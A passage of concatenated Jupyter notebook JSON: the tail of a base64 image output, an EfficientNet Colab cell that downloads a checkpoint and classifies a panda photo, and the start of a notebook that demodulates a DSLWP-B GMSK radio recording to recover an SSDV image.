Ga\n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\nsvj4Ejqg8oXv9K9VEKf/2Q==\n" }, "metadata": { "tags": [] } } ] }, { "cell_type": "code", "metadata": { "colab_type": "code", "id": "lOoibMxKVyAX", "outputId": "893d39e9-085b-455e-c276-03be338449c0", "colab": { "base_uri": "https://localhost:8080/", "height": 309 } }, "source": [ "import eval_ckpt_main as eval_ckpt\n", "import tensorflow.compat.v1 as tf\n", "\n", "!wget https://storage.googleapis.com/cloud-tpu-checkpoints/efficientnet/ckpts/{model_name}.tar.gz -O {model_name}.tar.gz\n", "!tar xf {model_name}.tar.gz\n", "ckpt_dir = model_name\n", "!wget https://storage.googleapis.com/cloud-tpu-checkpoints/efficientnet/eval_data/labels_map.txt -O labels_map.txt\n", "labels_map_file = 'labels_map.txt'\n", "\n", "\n", "image_files = [image_file]\n", "eval_driver = eval_ckpt.get_eval_driver(model_name)\n", "pred_idx, pred_prob = eval_driver.eval_example_images(\n", " ckpt_dir, image_files, labels_map_file)" ], "execution_count": 0, "outputs": [ { "output_type": "stream", "text": [ "predicted class for image panda.jpg: \n", " -> top_0 (82.75%): giant panda, panda, panda bear, coon bear, Ailuropoda melanoleuca \n", " -> top_1 (1.51%): ice bear, polar bear, Ursus Maritimus, Thalarctos maritimus \n", " -> top_2 (0.37%): lesser panda, red panda, panda, bear cat, cat bear, Ailurus fulgens \n", " -> top_3 (0.23%): American black bear, black bear, Ursus americanus, Euarctos americanus \n", " -> top_4 (0.17%): brown bear, bruin, Ursus arctos \n" ], "name": "stdout" } ] } ] }

apache-2.0

daniestevez/jupyter_notebooks

dslwp/DSLWP GMSK SSDV pic11.ipynb

1

104552

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Recovering SSDV image 0xAB, transmitted on 2019-02-27 08:20" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "%matplotlib inline\n", "\n", "import numpy as np\n", "import scipy.signal\n", "import matplotlib.pyplot as plt" ] }, { "cell_type": "code", "execution_count": 27, "metadata": { "collapsed": true }, "outputs": [], "source": [ "fs = 40000 # sample rate" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We load a file containing the relevant GMSK transmission. The recording was done at the Dwingeloo radiotelescope and can be obtained [here](https://charon.camras.nl/public/dslwp-b/DSLWP-B_PI9CAM_2019-02-27T07:26:01_436.4MHz_40ksps_complex.raw). Remember to edit the path below to point to the correct file." ] }, { "cell_type": "code", "execution_count": 28, "metadata": {}, "outputs": [], "source": [ "skip = 3200 * fs * 8 # first transmission seems to have a missing samples from the recorder\n", "skip = 5550 * fs * 8\n", "length = 140 * fs\n", "with open('/home/daniel/Descargas/DSLWP-B_PI9CAM_2019-02-27T07_26_01_436.4MHz_40ksps_complex.raw') as f:\n", " f.seek(skip)\n", " x = np.fromfile(f, dtype='complex64', count = length)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The 500bps GMSK signal is converted down to baseband and lowpass filtered to 1600Hz." ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/usr/lib64/python3.6/site-packages/scipy/signal/signaltools.py:1367: FutureWarning: Using a non-tuple sequence for multidimensional indexing is deprecated; use `arr[tuple(seq)]` instead of `arr[seq]`. In the future this will be interpreted as an array index, `arr[np.array(seq)]`, which will result either in an error or a different result.\n", " out = out_full[ind]\n" ] } ], "source": [ "f = 400\n", "x = x * np.exp(-1j*2*np.pi*np.arange(x.size)*f/fs).astype('complex64')\n", "\n", "h = scipy.signal.firwin(1000, 0.02).astype('float32')\n", "x = scipy.signal.lfilter(h, 1, x).astype('complex64')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Perform arctangent FSK demodulation." ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": true }, "outputs": [], "source": [ "s = np.diff(np.angle(x).astype('float32'))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Correct for phase wrapping." ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": true }, "outputs": [], "source": [ "s[s > np.pi] -= 2*np.pi\n", "s[s < -np.pi] += 2*np.pi" ] }, { "cell_type": "markdown", "metadata": {}, 